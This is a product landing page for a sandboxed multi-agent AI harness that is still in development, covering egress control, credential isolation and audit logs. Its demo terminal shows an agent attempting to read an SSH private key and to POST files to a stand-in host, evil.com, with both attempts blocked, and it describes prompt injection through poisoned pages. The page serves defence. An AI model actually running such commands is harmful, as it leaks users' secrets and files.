Early and in development · more to share soon

Run many agents. Trust none of them.

Semagentic is a secure multi-agent harness. Every agent runs inside its own sandbox, bound to its own workspace, network, and capabilities. It can reach nothing you didn't hand it.

Get early access → See how it works
semagentic · research-agent · session a91f
# agent tries to read outside its granted workspace
agent $ cat ~/.ssh/id_rsa
✗ denied : path is outside the mounted workspace

# agent tries to phone home with your files
agent $ curl -X POST evil.com -d @notes.txt
✗ dropped : destination not on the egress allowlist

# the work it was actually asked to do
agent $ edit q3-summary.md reversible diff #14 captured
● keys never entered the sandbox · every action audited
Your credentials · never leave your machine
Default-deny egress
Reversible writes
Fully auditable
The problem

Most agent frameworks are one process sharing one set of keys.

Several prompts, one memory space, one filesystem, one credential. A single poisoned document, a web page it fetched or a repo it cloned, and the agent can read what it shouldn't, spend what isn't yours, or quietly ship your data somewhere. Semagentic draws the boundaries the others skip.

Keys out of reach

The model runs in a sandbox with no secrets in its environment. Credentials are injected outside the boundary, at the moment of use. If the agent dumps its whole environment, nothing of value leaves.

process isolation

Scoped to one folder

Each agent mounts only the folder you point it at. Nothing else on disk exists as far as it's concerned. No stray reads of ~/.ssh, no wandering into a sibling project.

per-agent workspace

Nothing leaves uninvited

A default-deny egress proxy sits in front of every socket the agent opens. Only allowlisted destinations get through. Exfiltration isn't policed after the fact. It never connects.

egress control

Every write is revertible

You wanted the agent in your files. That's the product. So each turn is a reviewable diff over a snapshot. A destructive mistake goes from a disaster to a one-command undo.

reversible workspace

The agent is the unit of power

Run many agents: a researcher, a bookkeeper, a reviewer, each with its own role and its own slice of your data. The bookkeeper never touches the code repo. Grants are per agent, not one blanket set.

per-agent grants

Auditable by design

Every tool call, every credential minted, every byte that crossed the egress line is logged and attributed to a named agent. You get a real trail, not a promise that the model behaved.

full audit log
The one idea
The model's decisions stay inside a sandbox you design for it.

Assembling a prompt and streaming tokens isn't privileged, so it stays inside the boundary with the agent. Spending a credential or reaching past the workspace is privileged, so those powers, and every secret, live outside where the model can't reach them.

Today, an install runs for one person: you, so the adversary isn't another customer sharing your runtime. The thing to contain is the agent itself, behaving badly on your machine with your access, through an injection, a poisoned page, or a confident mistake.

inside
Agent loop, providers, workspace tools

Read, Write, Edit, Bash, acting only on your mounted folder, contained by the sandbox itself.

outside
Tool gateway

Answers one question: may I use this capability? Checks the grant, mints a short-lived token, returns the result.

outside
Egress proxy

Answers a different one: may this leave? Sees every socket the sandbox opens; drops anything off the allowlist.

outside
Your credentials

Held in the OS keychain, injected at the boundary. They never enter the sandbox and never reach anyone's infrastructure but yours.

How it works

You describe an agent. Semagentic gives it a cage and a job.

One small YAML file per agent declares its role, the folders it may touch, the tools it holds, where it may connect, and what it may spend. The harness turns that into real, enforced boundaries.

01 / DECLARE

Write the spec

Persona, workspace paths with read or write mode, tool grants, egress allowlist, credential grants. No Dockerfiles to write.

02 / ISOLATE

One sandbox per agent

Each running agent gets its own container, its own network, and only its own mounts. Two agents at once are two cages, not two threads.

03 / MEDIATE

Powers pass a checkpoint

Credentialed actions go through the gateway; every outbound packet passes the proxy. The model meets a policy, not your secrets.

04 / AUDIT

Review & revert

Each turn is a diff you can inspect and roll back, and a line in an audit log attributed to that agent. Trust, but verify. Literally.

priya.agent.yaml
id: priya # stable · audit & grants key on this
persona: "Meticulous research analyst."
tools: [Read, Grep, WebSearch, WebFetch]
workspace:
  - { path: ~/projects/q3, mode: rw }
  - { path: ~/reference,   mode: ro }
credentials: [drive:readonly]
egress: [api.anthropic.com, "*.wikipedia.org"]
limits: { memory: 2g, timeout: 30m }
semagentic · audit
$ semagentic audit --agent priya --since 24h

AGENT    priya · research analyst
SESSION  a91f · 09:14 → 09:52
──────────────────────────────
TOOL CALLS  42
  WebSearch ×6   ✓ allowed
  drive:read ×2  ✓ scoped 5m
  Edit ×3       ✓ diff saved
EGRESS
  api.anthropic.com 
  evil.com         ✗ blocked ×1
CREDENTIALS 0 keys ever in sandbox
WORKSPACE   3 diffs · 0 destructive
──────────────────────────────
● clean run · full log at ~/.semagentic/audit/a91f.log
Deploy anywhere

One install. Your laptop, your server, or your cloud.

The same software runs wherever you put it. Start on your machine, move to a host you own, spread a swarm of agents across several. The process topology never changes, only the machine assignment and the transport do.

LOCAL

On your laptop

Everything on one machine over loopback. No open ports, no TLS, no accounts. The default, and the fastest way to run.

ON-PREM

On a server you control

The same build on a box in your own network. Your data and credentials never leave the building, so security review stays short.

CLOUD

On a host you own

Any machine you rent, from a small VM upward. The client talks to it over TLS; the agents run where you point them.

Same code. Same topology. Same security model.

The machine boundary is optional. Only an env file changes between targets, so what you proved safe on your laptop is the same thing running on your server.

.env · the only difference
# local
BIND_ADDR=127.0.0.1
PUBLIC_URL=http://localhost:8080

# remote (same compose.yaml, same images)
BIND_ADDR=0.0.0.0
PUBLIC_URL=https://agents.yourco.com

Orchestrate a swarm across machine boundaries

Run many agents at once, each sealed in its own sandbox with its own workspace, network, and grants, spread across the machines you choose and driven from one place. One way to deploy them all, wherever they physically run.

Where we are

Early, and heads down.

Nothing's shipped yet. The core engine is being built now, with the security boundaries staged right behind it.

NowThe core engine, keys out of the model's reach, and a sandbox per agent.
NextNetwork lockdown, reversible writes, and one-command install anywhere.
LaterEnterprise cloud deployment, spreading a swarm of agents across remote VMs.
Early access

Want in early?

We're not shipping yet, still building the boundaries. Leave your email and we'll reach out when there's something real to run and more to share.

No spam. Just the occasional build update.
✓ You're on the list. Talk soon.